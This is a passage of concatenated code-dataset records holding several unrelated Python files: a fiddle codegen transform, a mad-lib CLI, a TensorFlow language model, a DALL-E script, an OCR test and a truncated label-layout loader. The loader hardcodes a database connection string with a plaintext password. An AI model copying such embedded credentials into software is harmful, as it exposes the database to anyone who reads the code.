read_sql3('./sql3/')\n","repo_name":"xiafei571/req_analysis_py27","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74320056729","text":"from typing import Any, Callable, Dict, List, Set, Tuple\n\nfrom fiddle import daglish\nfrom fiddle._src import config as config_lib\nfrom fiddle._src import partial\nfrom fiddle._src.codegen import namespace as namespace_lib\nfrom fiddle._src.codegen.auto_config import code_ir\nfrom fiddle._src.codegen.auto_config import naming\nfrom fiddle._src.codegen.auto_config import parents_first_traversal\n\n\ndef _get_node_to_parents_mapping(\n config: config_lib.Config,\n) -> Dict[int, Set[Any]]:\n \"\"\"Get a mapping from node id -> list of its parents.\"\"\"\n node_to_parents_by_id = {}\n\n def traverse(value, parent_results):\n node_to_parents_by_id[id(value)] = {id(elt) for elt in parent_results}\n return value\n\n parents_first_traversal.traverse_parents_first(traverse, config)\n\n return node_to_parents_by_id\n\n\ndef _is_super_ancestor(\n ancestor: int, nodes: Set[int], node_to_parents_by_id: Dict[int, Set[Any]]\n) -> bool:\n \"\"\"Check if ancestor is `super ancestor` (see definition below) of all nodes.\n\n The super ancestor of a node means it's the ancestor of all the parents of\n that node. Check the below figure as an example. A is super ancestor of\n B, C, D. But B is NOT a super ancestor of D, because D has two parents (B, C),\n and B is not an ancestor of C. This method check if one node is a super\n ancestor for all nodes in a given set.\n\n ┌───────┐\n ┌───► A ◄────┐\n │ └───────┘ │\n │ │\n ┌───┴───┐ ┌───┴───┐\n │ B │ │ C │\n └───▲───┘ └───▲───┘\n │ │\n │ ┌───────┐ │\n └───┤ D ├────┘\n └───────┘\n\n Args:\n ancestor: The potential super ancestor node to be checked. Note that this\n node does not need to be ancestor of any node.\n nodes: A set of nodes specified by object id.\n node_to_parents_by_id: A dict that maps node id to all of its parent\n objects.\n\n Returns:\n A bool value that indicates if `ancestor` is a super ancestor of all nodes.\n \"\"\"\n nodes = list(nodes)\n if len(nodes) == 0: # pylint: disable=g-explicit-length-test\n return False\n if len(nodes) == 1:\n if ancestor in nodes:\n return True\n all_parents = node_to_parents_by_id[nodes[0]]\n if len(all_parents) == 1 and ancestor in all_parents:\n return True\n return _is_super_ancestor(ancestor, all_parents, node_to_parents_by_id)\n results = []\n for node in nodes:\n if node != ancestor:\n res = _is_super_ancestor(\n ancestor, node_to_parents_by_id[node], node_to_parents_by_id\n )\n results.append(res)\n return all(results)\n\n\ndef _find_least_common_ancestor(\n node_ids: Set[int], node_to_parents_by_id: Dict[int, Set[Any]]\n) -> int:\n \"\"\"Find the least common ancestor of all nodes.\"\"\"\n\n node_ids = list(node_ids)\n if len(node_ids) == 0: # pylint: disable=g-explicit-length-test\n raise ValueError(\"Input nodes must not be empty.\")\n if len(node_ids) == 1:\n return node_ids[0]\n if len(node_ids) == 2:\n x, y = node_ids\n if _is_super_ancestor(x, {y}, node_to_parents_by_id):\n return x\n if _is_super_ancestor(y, {x}, node_to_parents_by_id):\n return y\n x_parents = {parent for parent in node_to_parents_by_id[x]}\n y_parents = {parent for parent in node_to_parents_by_id[y]}\n return _find_least_common_ancestor(\n x_parents.union(y_parents), node_to_parents_by_id\n )\n first_two = set(node_ids[:2])\n rest = set(node_ids[2:])\n first_two_ancestor = _find_least_common_ancestor(\n first_two, node_to_parents_by_id\n )\n rest.add(first_two_ancestor)\n return _find_least_common_ancestor(rest, node_to_parents_by_id)\n\n\ndef _find_least_common_fixture_ancestor(\n node_ids: Set[int],\n node_to_parents_by_id: Dict[int, Set[int]],\n sub_fixture_ids: Set[int],\n root_id: int,\n) -> Any:\n \"\"\"Find the least common sub-fixture.\"\"\"\n # The definition of `least` here is also refered as `lowest` common ancestor.\n # Basically when both A and B are common ancestor of a set of nodes, and\n # assume A is the ancestor of B, the node with a larger distance to the root\n # is the least common ancestor (B in this case).\n lca = _find_least_common_ancestor(node_ids, node_to_parents_by_id)\n while lca not in sub_fixture_ids and lca != root_id:\n lca = _find_least_common_ancestor(\n node_to_parents_by_id[lca], node_to_parents_by_id\n )\n return lca\n\n\ndef _find_shared_nodes(\n top_level_fn: code_ir.FixtureFunction,\n sub_fixtures: Dict[str, config_lib.Buildable],\n node_to_parents_by_id: Dict[int, Set[int]],\n) -> Tuple[Dict[int, Any], Dict[int, Any]]:\n \"\"\"Find out shared nodes by traversing each sub-fixture.\n\n The definition of shared nodes are nodes that are shared among multiple\n sub-fixtures. They need to be passed as arguments to sub-fixtures.\n\n Args:\n top_level_fn: Top-level fixture function.\n sub_fixtures: A dict that maps the sub-fixture name to the actual\n sub-fixture object.\n node_to_parents_by_id: A dict that maps node id to all of its parent\n objects.\n\n Returns:\n A dict that maps id(shared_node) -> shared_node object.\n A dict that maps id(shared_node) -> path to the shared_node.\n \"\"\"\n sub_fixture_ids = {id(value) for value in sub_fixtures.values()}\n top_fixture_node_ids = set()\n\n shared_nodes = {}\n shared_node_paths = {}\n\n def traverse(value: Any, state: daglish.State) -> Any:\n \"\"\"Mark all nodes within the top-level fixture.\"\"\"\n value_id = id(value)\n # Do not traverse over sub-fixtures.\n if value_id in sub_fixture_ids:\n return value\n top_fixture_node_ids.add(value_id)\n return state.map_children(value)\n\n # 1st pass: mark all nodes that are used by the top-level fixture. If this\n # node is also used within sub-fixtures, it's a shared node.\n daglish.BasicTraversal.run(traverse, top_level_fn)\n\n # 2nd pass: find out shared nodes within sub-fixtures\n ancestor_fixture = {}\n sub_fixture_values = list(sub_fixtures.values())\n for idx, fixture in enumerate(sub_fixture_values):\n for value, path in daglish.iterate(fixture, memoized=False):\n if not daglish.is_unshareable(value):\n used_by_sub_fixture = False\n if id(value) in ancestor_fixture:\n if ancestor_fixture[id(value)] != idx:\n # Check if the node is shared among multiple sub-fixtures.\n # If sub-fixture A contains sub-fixture B, nodes within B should\n # not be classified as shared if they are not used somewhere else.\n ancestor = ancestor_fixture[id(value)]\n ancestor_id = id(sub_fixture_values[ancestor])\n value_id = id(sub_fixture_values[idx])\n if _is_super_ancestor(\n ancestor_id, {value_id}, node_to_parents_by_id\n ):\n ancestor_fixture[id(value)] = idx\n elif not _is_super_ancestor(\n value_id, {ancestor_id}, node_to_parents_by_id\n ):\n used_by_sub_fixture = True\n else:\n ancestor_fixture[id(value)] = idx\n used_by_top_fixture = id(value) in top_fixture_node_ids\n if used_by_top_fixture or used_by_sub_fixture:\n # Do not identify user specified sub-fixtures as shared nodes\n if id(value) not in sub_fixture_ids:\n shared_nodes[id(value)] = value\n shared_node_paths[id(value)] = path\n\n return shared_nodes, shared_node_paths\n\n\ndef _prepare_node_names(\n shared_nodes: Dict[int, Any],\n shared_node_paths: Dict[int, Any],\n namer: naming.Namer,\n) -> Dict[int, code_ir.Name]:\n \"\"\"Create a dict that maps id(node) -> code_ir.Name object.\"\"\"\n node_names = {}\n for node_id in shared_nodes:\n node = shared_nodes[node_id]\n path = shared_node_paths[node_id]\n name = namer.name_for(node, [path])\n name = code_ir.Name(name, is_generated=True)\n node_names[id(node)] = name\n return node_names\n\n\ndef _add_var_declarations(\n node_id: int,\n fixture: code_ir.FixtureFunction,\n shared_nodes: Dict[int, Any],\n shared_node_names: Dict[int, code_ir.Name],\n) -> None:\n \"\"\"Add VarDeclaration for shared nodes in the top-level fixture.\"\"\"\n assert node_id in shared_node_names\n node = shared_nodes[node_id]\n name = shared_node_names[node_id]\n var = code_ir.VariableDeclaration(name=name, expression=node)\n fixture.variables.append(var)\n\n\ndef _prepare_fixture_vars_and_params(\n task: code_ir.CodegenTask,\n sub_fixtures: Dict[str, Any],\n shared_nodes: Dict[int, Any],\n shared_node_names: Dict[int, code_ir.Name],\n node_to_parents_by_id: Dict[int, Set[int]],\n):\n \"\"\"Prepare fixture vars and params.\"\"\"\n fixture_vars = {}\n fixture_params = {}\n top_fixture = task.top_level_call.fn.output_value\n fixture_ids = {id(fixture) for fixture in sub_fixtures.values()}\n for shared in shared_nodes:\n lcf_id = _find_least_common_fixture_ancestor(\n node_to_parents_by_id[shared],\n node_to_parents_by_id,\n fixture_ids,\n id(top_fixture),\n )\n if lcf_id == id(top_fixture):\n # Add the declaration in the top level fixture.\n _add_var_declarations(\n shared, task.top_level_call.fn, shared_nodes, shared_node_names\n )\n lcf_obj = top_fixture\n else:\n # Prepare sub-fixture var declarations\n if lcf_id not in fixture_vars:\n fixture_vars[lcf_id] = []\n fixture_vars[lcf_id].append(shared)\n lcf_obj = None\n for fixture in sub_fixtures.values():\n if id(fixture) == lcf_id:\n lcf_obj = fixture\n break\n assert lcf_obj is not None\n # Prepare sub-fixture params\n name = shared_node_names[shared]\n for value, _ in daglish.iterate(lcf_obj, memoized=False):\n if not daglish.is_unshareable(value):\n if id(value) in fixture_ids and value is not lcf_obj:\n if id(value) not in fixture_params:\n fixture_params[id(value)] = []\n fixture_params[id(value)].append(code_ir.Parameter(name=name))\n return fixture_vars, fixture_params\n\n\ndef _add_fixtures_to_task(\n task: code_ir.CodegenTask, fixtures: List[code_ir.FixtureFunction]\n) -> None:\n \"\"\"Add new fixtures as the children of task.top_level_call.\"\"\"\n for fixture in fixtures:\n call_instance = code_ir.CallInstance(\n fixture, parent=None, children=[], parameter_values={}\n )\n task.top_level_call.children.append(call_instance)\n\n\ndef _transform_sub_fixtures(\n task: code_ir.CodegenTask,\n sub_fixtures: Dict[str, config_lib.Buildable],\n namer: naming.Namer,\n) -> None:\n \"\"\"Transform sub-fixtures into separate functions.\n\n The complexity here is when sub-fixtures shared some nodes in common, or\n the sub-fixture shares some nodes with the top-level fixture. The point of\n of \"shared node\" in any nodes whose definitions should reside in the top-level\n fixture and passed as arguments to sub-fixtures.\n\n Take the config below as an example, where A is the top-level config fixture.\n B and C are sub-fixtures to be extracted, and they share common parameter D.\n In this case, D should be defined in the top-level fixture and be passed in\n to sub-fixtures B and C as an argument, instead of being defined seprately\n to conserve the sharing relation.\n\n ┌───────┐\n │ A │\n └───┬───┘\n │\n ┌───────┐ │ ┌───────┐\n │ B ◄───┴───► C │\n └───┬───┘ └───┬───┘\n │ │\n │ ┌───────┐ │\n └───► D ◄───┘\n └───────┘\n\n Below is another example, where B is the only sub-fixture. But C is also used\n within the top-level fixture A, so C needs to be extracted and defined in A\n as well.\n\n ┌───────┐\n ┌────┤ A ├────┐\n │ └─��─────┘ │\n │ │\n │ │\n ┌───▼───┐ ┌───▼───┐\n │ B ├─────────► C │\n └───────┘ └───────┘\n\n Overall, the transformation consists of following steps in high level:\n\n 1. Detect shared nodes among all sub-fixtures, the D in the example above.\n 2. Prepare proper names for shared nodes. The top-level fixture and\n sub-fixtures will use the same name for a given shared node.\n 3. Add shared nodes to the least common fixture as variable declarations.\n 4. Transform sub-fixture nodes into function calls to the new sub-fixture\n function.\n 5. Transform shared nodes within sub-fixtures into var references to the\n sub-fixture function arguments.\n\n Args:\n task: Codegen task.\n sub_fixtures: A dict that maps the sub-fixture name to the actual\n sub-fixture config object.\n namer: A Namer used for assigning new names to extracted variables.\n \"\"\"\n top_fixture = task.top_level_call.fn.output_value\n node_to_parents_by_id = _get_node_to_parents_mapping(top_fixture)\n\n shared_nodes, shared_node_paths = _find_shared_nodes(\n task.top_level_call.fn, sub_fixtures, node_to_parents_by_id\n )\n shared_node_names = _prepare_node_names(\n shared_nodes, shared_node_paths, namer\n )\n\n fixture_vars, fixture_params = _prepare_fixture_vars_and_params(\n task, sub_fixtures, shared_nodes, shared_node_names, node_to_parents_by_id\n )\n\n # Map id(sub_fixture) -> names in str\n sub_fixture_names = {id(value): name for name, value in sub_fixtures.items()}\n new_fixtures = []\n\n def traverse(value: Any, state: daglish.State) -> Any:\n \"\"\"Actually replace sub-fixtures and shared nodes.\"\"\"\n # Remember the original id as the value will be changed very soon.\n original_id = id(value)\n value = state.map_children(value)\n\n if original_id in shared_nodes:\n # Transform shared nodes as VariableReference to the argument.\n name = shared_node_names[original_id]\n return code_ir.VariableReference(name=name)\n elif original_id in sub_fixture_names:\n # Transform sub-fixure as VariableReference to separate fixture function.\n name = sub_fixture_names[original_id]\n name = code_ir.Name(name, is_generated=True)\n params = fixture_params.get(original_id, [])\n # TODO(b/285208948): Improve naming for sub-fixture nodes.\n fixture_fn = code_ir.FixtureFunction(\n name=name, parameters=params, variables=[], output_value=value\n )\n if original_id in fixture_vars:\n for var in fixture_vars[original_id]:\n _add_var_declarations(\n var, fixture_fn, shared_nodes, shared_node_names\n )\n new_fixtures.append(fixture_fn)\n args = {}\n for param in params:\n args[param.name.value] = code_ir.VariableReference(name=param.name)\n return code_ir.SymbolOrFixtureCall(\n symbol_expression=code_ir.FixtureReference(name=name),\n positional_arg_expressions=[],\n arg_expressions=args,\n )\n else:\n return value\n\n value = task.top_level_call.fn.output_value\n new_value = daglish.MemoizedTraversal.run(traverse, value)\n task.top_level_call.fn.output_value = new_value\n _add_fixtures_to_task(task, new_fixtures)\n\n\ndef transform_sub_fixtures(\n task: code_ir.CodegenTask,\n sub_fixtures: Dict[str, config_lib.Buildable],\n make_namer: Callable[\n [namespace_lib.Namespace], naming.Namer\n ] = naming.PathFirstNamer,\n) -> None:\n \"\"\"Moves any shared nodes in functions' output values to variables.\n\n Args:\n task: Codegen task.\n sub_fixtures: A dict that maps the sub-fixture name to the actual\n sub-fixture config object.\n make_namer: Function that will create a Namer, used for assigning new names\n to extracted variables.\n \"\"\"\n # Validate sub_fixtures names\n existing_names = naming.get_task_existing_names(task)\n existing_names.update(naming.get_fn_existing_names(task.top_level_call.fn))\n for name in sub_fixtures:\n if name in existing_names:\n msg = (\n f\"'{name}' already exists in the top level fixture. Please use \"\n \"another name for the sub-fixture\"\n )\n raise ValueError(msg)\n\n for fixture in sub_fixtures.values():\n if isinstance(fixture, partial.ArgFactory):\n raise ValueError(\n \"fdl.ArgFactory is not supported in auto-config codegen sub-fixture\"\n \" transformation.\"\n )\n\n namer = make_namer(namespace_lib.Namespace(existing_names))\n _transform_sub_fixtures(task, sub_fixtures, namer)\n","repo_name":"google/fiddle","sub_path":"fiddle/_src/codegen/auto_config/sub_fixture.py","file_name":"sub_fixture.py","file_ext":"py","file_size_in_byte":16774,"program_lang":"python","lang":"en","doc_type":"code","stars":298,"dataset":"github-code","pt":"31"} +{"seq_id":"11784406393","text":"\r\ndef read_template(fileToRead):\r\n with open(fileToRead, \"r\") as file:\r\n return file.read()\r\n\r\ndef parse_template(madLib):\r\n parts_of_speech = []\r\n stripped_string = madLib\r\n length = len(madLib)\r\n index = 0\r\n while index < length:\r\n if madLib[index] == \"{\":\r\n close = index + 1\r\n while madLib[close] != \"}\":\r\n close+=1\r\n parts_of_speech.append(madLib[index+1:close])\r\n stripped_string = stripped_string[0:index+1] + stripped_string[close:]\r\n index+=1\r\n return_parts = tuple(parts_of_speech)\r\n return stripped_string, return_parts\r\n\r\ndef user_inputs(parts_of_speech):\r\n user_answers = []\r\n for term in parts_of_speech:\r\n ans = input(f\"Please enter a {term}: \")\r\n user_answers.append(ans)\r\n return tuple(user_answers)\r\n\r\ndef merge(stripped_string, answers):\r\n string_to_return = stripped_string\r\n length = len(stripped_string)\r\n index = 0\r\n occurence = 0\r\n while index < length: \r\n if string_to_return[index] == \"{\":\r\n close = index + 1\r\n string_to_return = string_to_return[0:index] + answers[occurence] + string_to_return[close+1:]\r\n occurence+=1\r\n index+=1\r\n return string_to_return\r\n\r\n\r\ndef identifylocations(madLib):\r\n locations = []\r\n length = len(madLib)\r\n index = 0\r\n while index < length:\r\n if madLib[index] == \"{\":\r\n close = index + 1\r\n while madLib[close] != \"}\":\r\n close+=1\r\n term = madLib[index+1:close]\r\n locations.append({\"index_open\":index, \"index_close\":close, \"term\": term})\r\n index+=1\r\n return locations\r\n\r\ndef userinputs(locations):\r\n for word in locations:\r\n element = word.get(\"term\")\r\n term = input (f\"Please enter a {element}: \")\r\n word.update({\"replacewith\": term})\r\n\r\ndef replaceinstring(madLib, locations):\r\n locations.reverse()\r\n for term in locations:\r\n madLib = madLib[0:term.get(\"index_open\")] + term.get(\"replacewith\") + madLib[term.get(\"index_close\")+1:]\r\n print (madLib)\r\n return madLib\r\n\r\ndef savetofile(filetoread, madLib):\r\n newfile = filetoread[0:-4] + \"_output.txt\"\r\n with open(newfile, \"w\") as file:\r\n file.write(madLib)\r\n return newfile\r\n\r\nif __name__ == \"__main__\":\r\n nameoffile = \"short_example_template.txt\"\r\n madlib_string = read_template(nameoffile)\r\n parsed, parts = parse_template(madlib_string)\r\n answers = user_inputs(parts)\r\n filled_string = merge(parsed, answers)\r\n savetofile(nameoffile, filled_string)\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"jeremy-adamson/madlib_cli","sub_path":"madlib_cli/madlib.py","file_name":"madlib.py","file_ext":"py","file_size_in_byte":2634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"75087492886","text":"import tensorx as tx\nimport tensorflow as tf\nfrom deepsign.data.transform import ris_to_sp_tensor_value\nfrom deepsign.rp.index import SignIndex\n\nfrom deepsign.rp.tf_utils import RandomIndexTensor\n\n\nclass NRP(tx.Model):\n \"\"\" Neural Probabilistic Language Model with NRP\n\n\n if use_f_predict is True, this model can be interpreted as an\n\n Energy-based Neural Network Language Modelling network\n\n Same as Bengio Neural Probabilistic Language Model but with a linear layer\n at the end feature_pred with the same dimensions as the embeddings and possibly\n with embedding sharing between input and output layers\n\n \"\"\"\n\n def __init__(self,\n run_inputs,\n label_inputs,\n eval_label_input,\n ctx_size,\n k_dim,\n ri_tensor_input,\n embed_dim,\n h_dim,\n embed_init=tx.random_uniform(minval=-0.01, maxval=0.01),\n num_h=1,\n h_activation=tx.relu,\n h_init=tx.he_normal_init,\n use_dropout=False,\n embed_dropout=False,\n keep_prob=0.95,\n l2_loss=False,\n l2_loss_coef=1e-5,\n f_init=tx.random_uniform(minval=-0.01, maxval=0.01),\n use_nce=False,\n nce_samples=2,\n nce_noise_amount=0.1,\n noise_input=None,\n ):\n\n self.embed_dim = embed_dim\n\n var_reg = []\n\n # ===============================================\n # RUN GRAPH\n # ===============================================\n\n with tf.name_scope(\"run\"):\n\n feature_lookup = tx.Lookup(run_inputs,\n seq_size=ctx_size,\n lookup_shape=[k_dim, embed_dim],\n weight_init=embed_init,\n name=\"lookup\")\n\n self.embeddings = feature_lookup\n var_reg.append(feature_lookup.weights)\n feature_lookup = feature_lookup.as_concat()\n # ===========================================================\n with tf.name_scope(\"cache_embeddings\"):\n # ris = [sign_index.get_ri(sign_index.get_sign(i)) for i in range(len(sign_index))]\n # self.all_ris = ris_to_sp_tensor_value(ri_seq=ris,\n # dim=sign_index.generator.dim,\n # all_positive=not sign_index.generator.symmetric)\n\n all_embeddings = tx.Linear(ri_tensor_input,\n n_units=self.embed_dim,\n shared_weights=self.embeddings.weights,\n bias=False,\n name='all_features')\n\n # caches all embedding computation for run/eval\n self.all_embeddings = tx.VariableLayer(all_embeddings, trainable=False)\n # ===========================================================\n last_layer = feature_lookup\n h_layers = []\n for i in range(num_h):\n hi = tx.FC(last_layer,\n n_units=h_dim,\n activation=h_activation,\n weight_init=h_init,\n name=\"h_{i}\".format(i=i))\n h_layers.append(hi)\n last_layer = hi\n var_reg.append(hi.linear.weights)\n\n self.h_layers = h_layers\n\n # feature prediction for Energy-Based Model\n\n f_prediction = tx.Linear(last_layer, embed_dim, f_init, bias=True, name=\"f_predict\")\n var_reg.append(f_prediction.weights)\n\n # RI DECODING ===============================================\n # shape is (?,?) because batch size is unknown and vocab size is unknown\n # when we build the graph\n run_logits = tx.Linear(f_prediction,\n n_units=None,\n shared_weights=self.all_embeddings.variable,\n transpose_weights=True,\n bias=False,\n name=\"logits\")\n\n # ===========================================================\n embed_prob = tx.Activation(run_logits, tx.softmax, name=\"run_output\")\n\n # ===============================================\n # TRAIN GRAPH\n # ===============================================\n with tf.name_scope(\"train\"):\n if use_dropout and embed_dropout:\n feature_lookup = feature_lookup.reuse_with(run_inputs)\n last_layer = tx.Dropout(feature_lookup, probability=keep_prob)\n else:\n last_layer = feature_lookup\n\n # add dropout between each layer\n for layer in h_layers:\n h = layer.reuse_with(last_layer)\n if use_dropout:\n h = tx.Dropout(h, probability=keep_prob)\n last_layer = h\n\n f_prediction = f_prediction.reuse_with(last_layer)\n\n train_logits = run_logits.reuse_with(f_prediction, name=\"train_logits\")\n train_embed_prob = tx.Activation(train_logits, tx.softmax, name=\"train_output\")\n\n # convert labels to random indices\n model_prediction = f_prediction.tensor\n\n if use_nce:\n train_loss = tx.sparse_cnce_loss(label_features=label_inputs.tensor,\n noise_features=noise_input.tensor,\n model_prediction=model_prediction,\n weights=feature_lookup.weights,\n num_samples=nce_samples,\n noise_ratio=nce_noise_amount\n )\n else:\n one_hot_dense = tx.dense_one_hot(column_indices=label_inputs[0].tensor, num_cols=label_inputs[1].tensor)\n train_loss = tx.categorical_cross_entropy(one_hot_dense, train_logits.tensor)\n\n train_loss = tf.reduce_mean(train_loss)\n\n if l2_loss:\n losses = [tf.nn.l2_loss(var) for var in var_reg]\n train_loss = train_loss + l2_loss_coef * tf.add_n(losses)\n\n # ===============================================\n # EVAL GRAPH\n # ===============================================\n with tf.name_scope(\"eval\"):\n one_hot_dense = tx.dense_one_hot(column_indices=eval_label_input[0].tensor, num_cols=label_inputs[1].tensor)\n train_loss = tx.categorical_cross_entropy(one_hot_dense, train_logits.tensor)\n eval_loss = tx.categorical_cross_entropy(one_hot_dense, run_logits.tensor)\n eval_loss = tf.reduce_mean(eval_loss)\n\n if use_nce:\n train_loss_in = [label_inputs, noise_input]\n else:\n train_loss_in = label_inputs\n\n # BUILD MODEL\n super().__init__(run_inputs=run_inputs, run_outputs=embed_prob,\n train_inputs=run_inputs, train_outputs=train_embed_prob,\n eval_inputs=run_inputs, eval_outputs=embed_prob,\n train_out_loss=train_loss, train_in_loss=train_loss_in,\n eval_out_score=eval_loss, eval_in_score=eval_label_input,\n update_inputs=ri_tensor_input)\n\n def update_state(self):\n # takes the value from the update_in_layers and updates the variable cache\n return self.all_embeddings.tensor\n","repo_name":"davidenunes/deepsign","sub_path":"deepsign/models/nrp_nce.py","file_name":"nrp_nce.py","file_ext":"py","file_size_in_byte":7903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41449449403","text":"import torch\nfrom dall_e import DALLE\nfrom dVAE.utils import preprocess_image\n\n\n# dVAE parameters\nIN_PLANES: int = 3\nHIDDEN_PLANES: int = 256\nOUT_PLANES: int = 3\nBLOCKS_PER_GROUP: int = 1\nDVAE_VOCAB_SIZE: int = 8192\nIMAGE_SIZE: int = 256\n\n# transformer parameters\nN_BLOCK: int = 1\nN_HEADS: int = 1\nHEAD_DIM: int = 1\nMAX_LENGTH: int = 256\nTRANSFORMER_VOCAB_SIZE: int = 16384\nDROPOUT: float = 0.5\n\n\nBATCH_SIZE: int = 1\nDEVICE = 'cuda' if torch.cuda.is_available() else 'cpu'\n\n\n# Get model\nmodel = DALLE(\n in_planes=IN_PLANES, \n hidden_planes=HIDDEN_PLANES, \n out_planes=OUT_PLANES, \n blocks_per_group=BLOCKS_PER_GROUP, \n dVAE_vocab_size=DVAE_VOCAB_SIZE, \n n_block=N_BLOCK, \n n_heads=N_HEADS, \n head_dim=HEAD_DIM, \n max_length=MAX_LENGTH, \n transformer_vocab_size=TRANSFORMER_VOCAB_SIZE, \n dropout=DROPOUT\n)\n# Move model on CUDA, if available, else CPU\nmodel = model.to(device=DEVICE)\n\n# Dummy data\nimg = torch.stack([\n preprocess_image(image, target_img_size=IMAGE_SIZE) for image in torch.rand(BATCH_SIZE, 3, 400, 400, device=DEVICE)\n], dim=1)[0]\ntext = torch.randint(low=0, high=TRANSFORMER_VOCAB_SIZE, size=(BATCH_SIZE, MAX_LENGTH), device=DEVICE)\n\n# Generate images with model\nres = model.generate_images(text, img)\n\nprint(res)\n","repo_name":"cgMuro/State-of-Art","sub_path":"DALL•E/generate_images.py","file_name":"generate_images.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"14240987099","text":"import pytesseract\nimport cv2\nimport numpy as np\n\n\ndef preprocessing(image):\n ratio = 70\n img = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n # img = cv2.GaussianBlur(img, (7, 7),0)\n cv2.imshow('haha', cv2.resize(img, (int(1280 * ratio / 100), int(720 * ratio / 100)), interpolation=cv2.INTER_AREA))\n cv2.waitKey(0)\n\n ret, img = cv2.threshold(img, 150, 255, cv2.THRESH_BINARY)\n # img2 = cv2.adaptiveThreshold(img, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 51, 2)\n # cv2.imshow('grey', cv2.resize(img2, (int(1280 * ratio/100), int(720 * ratio/100)), interpolation=cv2.INTER_AREA))\n cv2.waitKey(0)\n\n return img\n\n# Function to check if two rectangles overlaps\ndef rect_overlap(x1,y1,x2,y2,x3,y3,x4,y4):\n if (x1 >= x4 or x3 >= x2):\n return False\n if (y1 >= y4 or y3 >= y2):\n return False\n return True\n\n\ndef tesseract_wrapper(image, mode):\n width = int(image.shape[1])\n height = int(image.shape[0])\n boxlist = []\n textlist = []\n\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) # OpenCV default mode is in GBR, tesseract uses RGB\n\n # tesseract imagename outputbase [-l lang] [--oem ocrenginemode] [--psm pagesegmode] [configfiles...]\n config = r'--oem 3 --psm 1 outputbase digits'\n raw_result = pytesseract.image_to_data(image, config=config)\n print(raw_result)\n\n for idx, b in enumerate(raw_result.splitlines()):\n if idx != 0:\n b = b.split()\n print(idx, '\\t', b)\n if len(b) == 12:\n x, y, w, h = int(b[6]), int(b[7]), int(b[8]), int(b[9])\n if mode == 0:\n boxlist.append([x, y, x + w, y + h])\n textlist.append(b[11])\n cv2.rectangle(image, (x, y), (x+w, y+h), (0, 255, 0), 2)\n cv2.putText(image, b[11], (x, y), cv2.FONT_HERSHEY_COMPLEX, 1,\n (50, 50, 255), 2)\n\n if mode == 1:\n if not (w == width and h == height): # Reject any glitchy full frame detection\n boxlist.append([x, y, x + w, y + h])\n textlist.append(b[11])\n\n if mode == 0:\n return image, textlist\n\n if mode == 1:\n img2 = image\n newtextlist = []\n # --- Algorithm to only print non overlapping boxes ---\n for idx, box in enumerate(boxlist):\n print(idx)\n overlap = False\n for i in range(len(boxlist)):\n if i == idx:\n continue\n overlap = rect_overlap(box[0], box[1], box[2], box[3], boxlist[i][0],\n boxlist[i][1], boxlist[i][2],\n boxlist[i][3])\n if overlap:\n print('\\tdeng')\n break\n if not overlap:\n cv2.rectangle(image, (box[0], box[1]), (box[2], box[3]), (0, 255, 0), 4)\n cv2.putText(image, textlist[idx], (box[0], box[1]), cv2.FONT_HERSHEY_COMPLEX, 1,\n (50, 50, 255), 2)\n newtextlist.append(textlist[idx])\n print('\\tok')\n\n return image, newtextlist\n\n\ndef main():\n pytesseract.pytesseract.tesseract_cmd = 'C:/Program Files (x86)/Tesseract-OCR/tesseract.exe'\n Path = 'D:/Users/Leong/Pictures/Productinfo.jpg'\n Path2 = 'D:/Users/Leong/Pictures/Ingredients.jpg'\n\n img = cv2.imread(Path)\n img = preprocessing(img)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) # OpenCV default mode is in GBR, tesseract uses RGB\n\n img2 = cv2.imread(Path2)\n\n img1, textl1 = tesseract_wrapper(img.copy(), 0)\n img2, text12 = tesseract_wrapper(img.copy(), 1) # Wanna see detail code go see fucntion la\n\n\n print(img1 is img2)\n print(textl1 is text12)\n\n # Scaling Leong 23/1/2021\n scale_percent = 70\n\n width = int(img.shape[1] * scale_percent / 100)\n height = int(img.shape[0] * scale_percent / 100)\n\n resized1 = cv2.resize(img1, (width, height), interpolation=cv2.INTER_AREA)\n resized2 = cv2.resize(img2, (width, height), interpolation=cv2.INTER_AREA)\n cv2.imshow('image1', resized1)\n cv2.imshow('image2', resized2)\n cv2.waitKey(0)\n\n\nif __name__ == '__main__':\n main()","repo_name":"YLL97/AiSee","sub_path":"tesseract/tesseract_test.py","file_name":"tesseract_test.py","file_ext":"py","file_size_in_byte":4260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43539469032","text":"from core import LabelLayout\r\nimport tables\r\n\r\nfrom sqlalchemy.orm import sessionmaker\r\nfrom sqlalchemy import create_engine\r\nfrom sqlalchemy.engine.reflection import Inspector\r\n\r\nfrom PyQt4 import QtCore, QtGui\r\n\r\n\r\nengine = create_engine(\"postgresql://labeldesigner:labelmaker666@pldmpp:5432/labelmaker\")\r\nsession = sessionmaker(engine)\r\n\r\ntables.Base.metadata.create_all(engine)\r\n\r\ndef load():\r\n s = session()\r\n settings = QtCore.QSettings(\"labelcore.conf\", QtCore.QSettings.IniFormat)\r\n \r\n settings.beginGroup(\"layouts\")\r\n for layoutName in settings.childGroups():\r\n settings.beginGroup(layoutName)\r\n permit = str(settings.value(\"permit\").toString())\r\n returnAddress = str(settings.value(\"return\").toString())\r\n permitEnabled = bool(settings.value(\"usepermit\")) #.toBool()\r\n returnEnabled = bool(settings.value(\"useReturn\")) #.toBool()\r\n pageWidth = 90\r\n pageHeight = 45\r\n \r\n layout = tables.Layout(str(layoutName), permit, returnAddress, permitEnabled, returnEnabled, pageWidth, pageHeight)\r\n \r\n #commit\r\n s.add(layout)\r\n s.commit()\r\n \r\n \r\n layoutId = layout.id\r\n \r\n \r\n for objName in settings.childGroups():\r\n props = []\r\n settings.beginGroup(objName)\r\n objType = str(settings.value(\"type\").toString())\r\n obj = tables.LayoutObject(layoutId, str(objName), objType)\r\n \r\n # 